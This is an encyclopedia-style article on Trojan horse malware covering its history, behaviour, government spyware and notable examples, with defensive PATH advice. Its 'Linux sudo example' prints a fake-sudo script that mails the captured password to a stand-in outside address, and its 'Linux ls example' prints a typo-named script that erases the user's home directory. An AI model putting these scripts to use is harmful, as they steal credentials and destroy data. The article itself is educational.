Misplaced Pages

In computing, a Trojan horse (or simply Trojan) is any malware that misleads users of its true intent by disguising itself as a standard program. The term is derived from the ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.

Trojans are generally spread by some form of social engineering. For example, where a user is duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or by clicking on a fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected computer. Ransomware attacks are often carried out using a Trojan.

Unlike computer viruses and worms, Trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.

Use of the term

It is not clear where or when the concept, and this term for it, was first used, but by 1971 the first Unix manual assumed its readers knew both.

Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.

It was made popular by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust", subtitled: "To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software." He mentioned that he knew about the possible existence of Trojans from a report on the security of Multics.

Behavior

Once installed, Trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual Trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the Trojan, using it as a proxy for malicious action.

In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically a Trojan software used to intercept communications from the target computer. Some countries like Switzerland and Germany have a legal framework governing the use of such software. Examples of govware Trojans include the Swiss MiniPanzer and MegaPanzer and the German "state Trojan" nicknamed R2D2. German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.

Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, Trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them. BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a Trojan infection.

Recent investigations have revealed that the Trojan horse method has been used as an attack on cloud computing systems. A Trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.

Linux sudo example

A Trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security. A simple example is the following malicious version of the Linux sudo command. An attacker would place this script in a publicly writable directory (e.g., /tmp). If an administrator happens to be in this directory and executes sudo, then the Trojan may execute, compromising the administrator's password.

#!/usr/bin/env bash
# Turn off the character echo to the screen. sudo does this to prevent the user's password from appearing on screen when they type it in.
stty -echo
# Prompt user for password and then read input. To disguise the nature of this malicious version, do this 3 times to imitate the behavior of sudo when a user enters the wrong password.
prompt_count=1
while ; do
    echo -n " password for $(whoami): "
    read password_input
    echo
    sleep 3  # sudo will pause between repeated prompts
    prompt_count=$(( prompt_count + 1 ))
done
# Turn the character echo back on.
stty echo
echo $password_input | mail -s "$(whoami)'s password" outside@creep.com
# Display sudo's actual error message and then delete self.
echo "sudo: 3 incorrect password attempts"
rm $0
exit 1  # sudo returns 1 with a failed password attempt

To prevent a sudo Trojan horse, set the . entry in the PATH environment variable to be located at the tail end. For example: PATH=/usr/local/bin:/usr/bin:..

Linux ls example

Having . somewhere in the PATH is convenient, but there is a catch. Another example is the following malicious version of the Linux ls command. However, the filename is not ls; instead, it is sl. An attacker would place this script in a publicly writable directory (e.g., /tmp).

#!/usr/bin/env bash
# Remove the user's home directory, then remove self.
rm -fr ~ 2>/dev/null
rm $0

To prevent a malicious programmer from anticipating this common typing mistake:

1. omit . in the PATH or
2. alias sl=ls

Notable examples

Private and governmental

• ANOM – FBI
• 0zapftis / r2d2 StaatsTrojaner – DigiTask
• FinFisher – Lench IT solutions / Gamma International
• DaVinci / Galileo RCS – HackingTeam
• Magic Lantern – FBI
• SUNBURST – SVR/Cozy Bear (suspected)
• TAO QUANTUM/FOXACID – NSA
• WARRIOR PRIDE – GCHQ

Publicly available

• EGABTR – late 1980s
• Netbus – 1998 (published)
• Sub7 by Mobman – 1999 (published)
• Back Orifice – 1998 (published)
• Y3K by Tselentis brothers – 2000 (published)
• Beast – 2002 (published)
• Bifrost Trojan – 2004 (published)
• DarkComet – 2008-2012 (published)
• Blackhole exploit kit – 2012 (published)
• Gh0st RAT – 2009 (published)
• MegaPanzer BundesTrojaner – 2009 (published)
• MEMZ by Leurak – 2016 (published)

Detected by security researchers

• Twelve Tricks – 1990
• Clickbot.A – 2006 (discovered)
• Zeus – 2007 (discovered)
• Flashback Trojan – 2011 (discovered)
• ZeroAccess – 2011 (discovered)
• Koobface – 2008 (discovered)
• Vundo – 2009 (discovered)
• Coreflood – 2010 (discovered)
• Tiny Banker Trojan – 2012 (discovered)
• SOVA – 2022 (discovered)
• Shedun Android malware – 2015 (discovered)

Capitalization

The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized. However, while style guides and dictionaries differ, many suggest a lower case "trojan" for normal use.

See also

• Computer security – Protection of computer systems from information disclosure, theft or damage
• Cuckoo's egg (metaphor) – Metaphor for brood parasitism
• Cyber spying – Obtaining secrets using the Internet
• Dancing pigs – Users' disregard for IT security
• Exploit (computer security) – Method of attack on computer systems
• Industrial espionage – Use of espionage for commercial purposes rather than security
• Hardware Trojan – Malware embedded in hardware; harder to detect and fix than software vulnerabilities
• Phishing – Form of social engineering
• Principle of least privilege – Security by granting only essential access
• Privacy-invasive software – Computer software ignoring user privacy with a commercial intent
• Remote administration – Control & use of a computer from remote location
• Remote administration software – Desktop run remotely from local devicePages displaying short descriptions of redirect targets
• Reverse connection – Network connection type ypass firewall restrictions on open ports
• Rogue security software – Form of malicious software
• Scammers – Attempt to defraud a person or groupPages displaying short descriptions of redirect targets
• Technical support scam – Type of fraud and confidence trick
• Timeline of computer viruses and worms – Computer malware timeline
• Zombie (computer science) – Compromised computer used for malicious tasks on a networkPages displaying short descriptions of redirect targets

References

1. "Trojan Horse Definition". Retrieved April 5, 2012. Greek soldiers, unable to penetrate the defenses of the city of Troy during a years-long war, presented the city with a peace offering of a large wooden horse.
2. "Difference between viruses, worms, and trojans". Symantec Security Center. Broadcom Inc. Archived from the original on August 19, 2013. Retrieved March 29, 2020.
3. "VIRUS-L/comp.virus Frequently Asked Questions (FAQ) v2.00 (Question B3: What is a Trojan Horse?)". October 9, 1995. Archived from the original on August 5, 2020. Retrieved September 16, 2019.
4. Thompson, Ken; Ritchie, Dennis M. "Unix Programmer's Manual, November 3, 1971" (PDF). p. 5. Retrieved March 28, 2020. Also, one may not change the owner of a file with the set—user—ID bit on, otherwise one could create Trojan Horses able to misuse other's files.
5. Karger, P.A.; Schell, R.R., "Multics Security Evaluation: Vulnerability Analysis , ESD-TR-74-193" (PDF), HQ Electronic Systems Division: Hanscom AFB, MA, II, archived from the original (PDF) on July 9, 2011, retrieved December 24, 2017
6. Ken Thompson (1984). "Reflection on Trusting Trust". Commun. ACM. 27 (8): 761–763. doi:10.1145/358198.358210..
7. Paul A. Karger; Roger R. Schell (2002), "Thirty Years Later: Lessons from the Multics Security Evaluation" (PDF), ACSAC: 119–126
8. Karger et Schell wrote that Thompson added this reference in a later version of his Turing conference: Ken Thompson (November 1989), "On Trusting Trust.", Unix Review, 7 (11): 70–74
9. Crapanzano, Jamie (2003). Deconstructing SubSeven, the Trojan Horse of Choice (Report). SANS Institute. Retrieved May 10, 2021.
10. ^ Basil Cupa, Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware), LISS 2013, pp. 419–428
11. "Häufig gestellte Fragen (Frequently Asked Questions)". Federal Department of Justice and Police. Archived from the original on May 6, 2013.
12. Dunn, John (August 27, 2009). "Swiss coder publicises government spy Trojan". TechWorld. Archived from the original on January 26, 2014. Retrieved January 10, 2021.
13. "German federal police use trojan virus to evade phone encryption". DW. Retrieved April 14, 2018.
14. "BitDefender Malware and Spam Survey finds E-Threats Adapting to Online Behavioral Trends". BitDefender. Archived from the original on August 8, 2009. Retrieved March 27, 2020.
15. Datta, Ganesh (August 7, 2014). "What are Trojans?". SecurAid. Archived from the original on August 12, 2014. Retrieved March 27, 2020.
16. Kanaker, Hasan; Karim, Nader Abdel; Awwad, Samer A. B.; Ismail, Nurul H. A.; Zraqou, Jamal; Ali, Abdulla M. F. Al (December 20, 2022). "Trojan Horse Infection Detection in Cloud Based Environment Using Machine Learning". International Journal of Interactive Mobile Technologies. 16 (24): 81–106. doi:10.3991/ijim.v16i24.35763. ISSN 1865-7923.
17. Wood, Patrick H.; Kochan, Stephen G. (1985). UNIX System Security. Hayden Books. p. 42. ISBN 0-8104-6267-2.
18. Wood, Patrick H.; Kochan, Stephen G. (1985). UNIX System Security. Hayden Books. p. 43. ISBN 0-8104-6267-2. The above Trojan horse works only if a user's PATH is set to search the current directory for commands before searching the system's directories.
19. "What's wrong with having '.' in your $PATH?". Penn Engineering. Retrieved November 28, 2023. f you're a clumsy typist and some day type "sl -l" instead of "ls -l", you run the risk of running "./sl", if there is one. Some "clever" programmer could anticipate common typing mistakes and leave programs by those names scattered throughout public directories. Beware.
20. Seth, Kulakow (1998). "Is it still a Trojan horse or an Actual Valid Remote Control Administration Tool?" (Report). SANS Institute. Retrieved May 10, 2021.
21. "Mega-Panzer". SourceForge. September 21, 2016.
22. "Mini-Panzer". SourceForge. September 18, 2016.
23. "What is Sova virus?". India Today. September 16, 2022.
24. "Trojanized adware family abuses accessibility service to install whatever apps it wants – Lookout Blog".
25. Neal, Dave (November 20, 2015). "Shedun trojan adware is hitting the Android Accessibility Service". The Inquirer. Incisive Business Media. Archived from the original on November 22, 2015. Retrieved March 27, 2020.{{cite web}}: CS1 maint: unfit URL (link)
26. "Lookout discovers new trojanized adware; 20K popular apps caught in the crossfire – Lookout Blog".
27. "Shuanet, ShiftyBug and Shedun malware could auto-root your Android". November 5, 2015.
28. Times, Tech (November 9, 2015). "New Family of Android Malware Virtually Impossible To Remove: Say Hello To Shedun, Shuanet And ShiftyBug".
29. "Android adware can install itself even when users explicitly reject it". November 19, 2015.
30. "trojan". Collins Advanced Dictionary. Retrieved March 29, 2020.
31. "trojan horse". Microsoft Style Guide. Microsoft. Retrieved March 29, 2020.

Notes

1. Place the alias statement in /etc/profile

External links

• Media related to Trojan horse (malware) at Wikimedia Commons
• "CERT Advisory CA-1999-02 Trojan Horses" (PDF). Carnegie Mellon University Software Engineering Institute. Archived from the original on October 17, 2000. Retrieved September 15, 2019.

v t e Information security
Related security categories	Computer security Automotive security Cybercrime Cybersex trafficking Computer fraud Cybergeddon Cyberterrorism Cyberwarfare Electromagnetic warfare Information warfare Internet security Mobile security Network security Copy protection Digital rights management
Threats	Adware Advanced persistent threat Arbitrary code execution Backdoors Bombs Fork Logic Time Zip Hardware backdoors Code injection Crimeware Cross-site scripting Cross-site leaks DOM clobbering History sniffing Cryptojacking Botnets Data breach Drive-by download Browser Helper Objects Viruses Data scraping Denial-of-service attack Eavesdropping Email fraud Email spoofing Exploits Fraudulent dialers Hacktivism Infostealer Insecure direct object reference Keystroke loggers Malware Payload Phishing Voice Polymorphic engine Privilege escalation Ransomware Rootkits Scareware Shellcode Spamming Social engineering Spyware Software bugs Trojan horses Hardware Trojans Remote access trojans Vulnerability Web shells Wiper Worms SQL injection Rogue security software Zombie
Defenses	Application security Secure coding Secure by default Secure by design Misuse case Computer access control Authentication Multi-factor authentication Authorization Computer security software Antivirus software Security-focused operating system Data-centric security Obfuscation (software) Data masking Encryption Firewall Intrusion detection system Host-based intrusion detection system (HIDS) Anomaly detection Information security management Information risk management Security information and event management (SIEM) Runtime application self-protection Site isolation

• Trojan horses
• Social engineering (security)
• Spyware
• Cyberwarfare
• Security breaches